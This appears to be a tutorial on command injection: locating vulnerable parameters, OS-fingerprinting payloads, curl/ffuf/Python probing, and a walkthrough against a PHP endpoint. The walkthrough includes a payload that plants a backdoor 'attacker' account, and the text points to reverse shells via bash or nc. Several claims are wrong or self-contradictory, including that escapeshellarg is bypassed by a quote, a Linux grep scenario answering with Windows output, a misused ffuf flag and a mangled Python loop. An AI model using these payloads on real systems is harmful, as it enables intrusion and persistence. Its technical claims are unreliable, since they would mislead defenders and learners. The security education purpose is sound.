~/home/study/command-injection-basics-finding

Command Injection Basics: Finding Vulnerable Parameters & OS Detection

Learn how to spot command injection vectors in web requests, use OS-specific payloads for fingerprinting, and automate discovery with popular tools. This guide covers manual techniques, scripting, and mitigation best practices.

Introduction

Command injection is a class of injection flaws where untrusted input is concatenated into a system-level command that the server executes. Attackers can abuse this to run arbitrary commands, read files, or even gain a foothold on the underlying operating system.

Understanding how to identify vulnerable parameters and accurately determine the target OS is the foundation for any successful exploitation chain. The ability to fingerprint the OS early on guides payload selection, reduces noise, and improves the odds of a reliable shell.

Real-world incidents-such as the 2021 SolarWinds supply-chain breach-demonstrate that mis-validated command execution can be a pivot point for lateral movement. Mastering the basics therefore directly translates to higher-impact findings in penetration tests and bug-bounty programs.

Prerequisites

  • Fundamentals of HTTP request/response flow (methods, status codes, headers, cookies).
  • Basic familiarity with Linux and Windows command lines (e.g., id, whoami, ver).
  • Understanding of how web parameters are processed (GET query strings, POST bodies, custom headers, cookie values).

Core Concepts

At its core, command injection exploits the lack of proper sanitisation when an application passes user-controlled data to a shell interpreter. The vulnerability typically manifests in one of three ways:

  1. Direct execution: The server builds a command string like system("ping -c " . $_GET['host']) and passes it straight to /bin/sh (Linux) or cmd.exe (Windows).
  2. Indirect execution via wrappers: An internal script or binary (e.g., ffmpeg, ImageMagick) receives user input that is later used in a shell call.
  3. Environment injection: Manipulating environment variables (e.g., PATH, LD_PRELOAD) that affect how a later command is resolved.

Detecting the underlying OS is crucial because command syntax differs (; && vs &&, dir vs ls, etc.). Most web apps run on Linux, but Windows-based intranets still exist, and many cloud services expose Windows APIs. Fingerprinting can be done by observing error messages, response timing, or by sending OS-specific probes.

Identifying injection vectors in URLs, forms, headers, and cookies

Every place the application accepts external data is a potential injection surface. Below is a checklist for manual reconnaissance:

  • Query strings (GET): Look for parameters that appear in logs or are reflected in the response. Example: cmd=id
  • POST bodies (application/x-www-form-urlencoded, multipart/form-data): Intercept with a proxy and replay with payloads.
  • Custom HTTP headers: Some APIs accept X-Forwarded-For, User-Agent, or proprietary headers that may be concatenated into a command.
  • Cookies: Session-related values are often logged or used in server-side scripts.

When testing, always start with a benign payload that produces a visible change, such as appending a semicolon (;) or pipe (|) and checking for HTTP 500 errors or stack traces.

Common OS detection payloads (e.g., "id", "whoami", "ver")

Once a potential injection point is located, the next step is to issue a lightweight command that reveals the OS. Below are the most reliable payloads, each shown for both Linux and Windows environments.

# Linux payloads
id # prints user and group info
whoami # prints effective user name
uname -a # full kernel information
cat /etc/os-release # distro details (if readable)

# Windows payloads
ver # OS version string
whoami # domain\user
systeminfo # detailed system information (requires admin on many machines)

When you cannot directly view command output (e.g., due to output filtering), use side-effects such as creating a file:

# Linux - create a marker file
touch /tmp/inject_test
# Windows - create a marker file
cmd /c echo inject_test > C:\Windows\Temp\inject_test.txt

After sending the payload, verify the side-effect via another request (e.g., a file-download endpoint) or by checking the response for a known string.

Analyzing error messages and response differences for OS fingerprinting

Many applications return language-specific error messages that leak the underlying interpreter:

  • Linux/Unix: Errors like /bin/sh: 1: Syntax error: Bad word or bash: line 1: syntax error near unexpected token.
  • Windows: Errors such as cmd.exe /c was unexpected at this time. or Microsoft JScript runtime error.

Compare responses before and after injecting a syntax-breaking character (e.g., || or &&). Differences in HTML layout, stack traces, or even HTTP status codes can be strong OS indicators.

Timing analysis also helps: Windows ping -n 5 127.0.0.1 takes ~5 seconds, while the Linux equivalent ping -c 5 127.0.0.1 may behave slightly differently depending on the platform's default packet interval.

Manual testing with curl, Burp Suite repeater, and browser dev tools

Below is a step-by-step workflow using three common tools.

1. curl

# Simple GET injection test
curl -s -o /dev/null -w "%{http_code}" "http://example.com/vuln.php?cmd=id"

# POST injection with JSON body
curl -X POST -H "Content-Type: application/json" -d '{"cmd":"whoami"}' http://example.com/api/run

The -s flag silences progress, -o /dev/null discards body, and -w "%{http_code}" prints the status code for quick validation.

2. Burp Suite Repeater

Intercept a request, right-click → Send to Repeater. Modify the parameter value to id or ver, then click “Go”. Inspect the response body and headers for OS-specific clues.

3. Browser Dev Tools

For single-page applications that use XHR/fetch, open the Network tab, locate the request, and edit the query string directly in the “Headers” pane (Chrome/Edge). Resend the request with the payload and view the response inline.

Automating discovery using ffuf, gobuster, or custom Python scripts

Manual testing is great for proof-of-concepts, but large applications demand automation. Below are three approaches.

ffuf (Fuzz Faster U Fool)

ffuf -u "http://example.com/vuln.php?cmd=FUZZ" -w /usr/share/wordlists/dirb/common.txt -mc 200,500 -t 50 -e id,whoami,ver

ffuf replaces FUZZ with each word in the list and reports responses with status 200 or 500, which often indicate successful command execution.

gobuster

gobuster dir -u "http://example.com" -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,cgi -t 100 -s "200,500"

While gobuster is primarily for directory brute-forcing, combining it with a custom wordlist that includes common parameter names (cmd, command, exec) can surface hidden injection points.

Custom Python script

import requests, sys

url = sys.argv[1]
payloads = ["id", "whoami", "ver", "uname -a"]

for p in payloads: r = requests.get(url, params={"cmd": p}, timeout=5) print(f"[+] {p} => {r.status_code}") if r.ok: print(r.text[:200])  # show first 200 chars for brevity

This script accepts a base URL, iterates over a list of OS-specific payloads, and prints status codes and a snippet of the response. Extend it to write results to a CSV for later analysis.

Practical Examples

Let’s walk through a realistic scenario against a vulnerable PHP endpoint.

Scenario

Target: vulnerable.php with a term GET parameter that is concatenated into a shell command:

<?php
$term = $_GET['term'];
$cmd = "grep -i " . escapeshellarg($term) . " /var/log/apache2/access.log";
system($cmd);
?>

Note the use of escapeshellarg – it protects against simple whitespace injection but fails when the attacker terminates the argument with a single quote.

Step-by-step exploitation

  1. Identify the injection point: Send term=test and observe normal output. Then send term=test';id;#. The response contains the UID, confirming execution.
  2. Fingerprint OS: Replace with term=test';ver;#. The response shows Microsoft Windows [Version 10.0.19044.2364], indicating a Windows host.
  3. Leverage side-effects: To gain persistence, send term=test';echo "net user attacker P@ssw0rd /add" > C:\Windows\Temp\payload.bat;# and then trigger a secondary endpoint that reads that file.

All of the above can be automated with the Python script shown earlier, merely swapping the URL and parameter name.

Tools & Commands

  • curl: Quick one-liners for GET/POST payloads.
  • Burp Suite Repeater: Interactive editing of any request component.
  • ffuf: High-speed fuzzing of parameters with built-in status-code filtering.
  • gobuster: Directory and parameter enumeration.
  • Python/requests: Custom logic for complex multi-step attacks.

Example output from ffuf when a Linux host is discovered:

[Status: 200, Size: 123] http://example.com/vuln.php?cmd=id
[Status: 500, Size: 456] http://example.com/vuln.php?cmd=whoami

Defense & Mitigation

  • Never concatenate raw input into a shell command. Use language-specific APIs (e.g., subprocess.run([...], shell=False) in Python).
  • Whitelist allowed commands and arguments. Accept only pre-approved values and reject everything else.
  • Employ input validation and output encoding. Reject characters like ;, |, &&, `, and control characters.
  • Run services with least privileges. Even if an injection occurs, a non-privileged user reduces impact.
  • Use OS-level sandboxing. Containers, seccomp profiles, or AppArmor can restrict system calls.
  • Enable robust logging and alerting. Detect anomalous command strings in logs for early response.

Common Mistakes

  • Assuming escaping functions are sufficient. Functions like escapeshellarg only protect against whitespace-based attacks; they do not prevent quote-termination attacks.
  • Testing only GET parameters. Many applications hide dangerous functionality behind POST bodies, JSON payloads, or custom headers.
  • Relying on error messages alone. Some platforms suppress errors; use side-effects (file creation) as a fallback.
  • Neglecting Unicode or double-encoding tricks. Attackers may send %2527 (double-encoded single quote) to bypass naïve filters.

Real-World Impact

Command injection is consistently ranked among the top OWASP risks. In 2023, a major SaaS provider suffered a breach where an unfiltered cmd parameter allowed attackers to execute whoami and subsequently dump SSH keys, leading to a full-scale data exfiltration.

My experience as a senior red-team lead shows that OS detection often cuts weeks off an engagement. Knowing you’re on Windows lets you pivot to PowerShell-based payloads, while a Linux fingerprint opens the door to reverse shells via bash -i or nc. The earlier you determine the platform, the sooner you can craft a stable, stealthy payload.

Trends indicate increasing use of containerized micro‑services, which sometimes expose minimal shells (e.g., sh without bash). Adjust your payloads accordingly—id works across most POSIX shells, but whoami may be unavailable in stripped‑down images.

Practice Exercises

  1. Identify a vulnerable parameter on a deliberately insecure DVWA module. Use curl to inject id and verify output.
  2. Write a Python script that enumerates all parameters of a given URL, injects ver, and logs which responses contain the string Microsoft Windows.
  3. Configure ffuf to fuzz both query strings and POST bodies of a test application. Capture any 500 responses and analyze for OS clues.
  4. Set up a Docker container running a vulnerable PHP script. Practice creating side-effect files and retrieving them via a separate endpoint.

Document findings in a markdown file, noting the detected OS, payload used, and any mitigation recommendations.

Further Reading

  • OWASP Top 10 - A03:2021 - Injection
  • “The Art of Command Injection” - Black Hat USA 2022 presentation slides
  • Python’s subprocess security guide
  • Microsoft’s “Defending Against Command Injection in PowerShell” whitepaper
  • “OS Fingerprinting Over HTTP” - SANS Reading Room article

Summary

  • Command injection exploits unsanitised data passed to OS shells; detecting it starts with locating vulnerable parameters across URLs, forms, headers, and cookies.
  • OS fingerprinting is achieved via lightweight payloads (id, whoami, ver) and by analysing error messages, timing, and side-effects.
  • Manual tools (curl, Burp Repeater, dev tools) provide granular control; automation with ffuf, gobuster, or custom scripts scales testing.
  • Mitigation hinges on avoiding shell concatenation, whitelisting commands, input validation, least-privilege execution, and robust logging.
  • Understanding the target OS early dramatically improves payload reliability and reduces engagement time.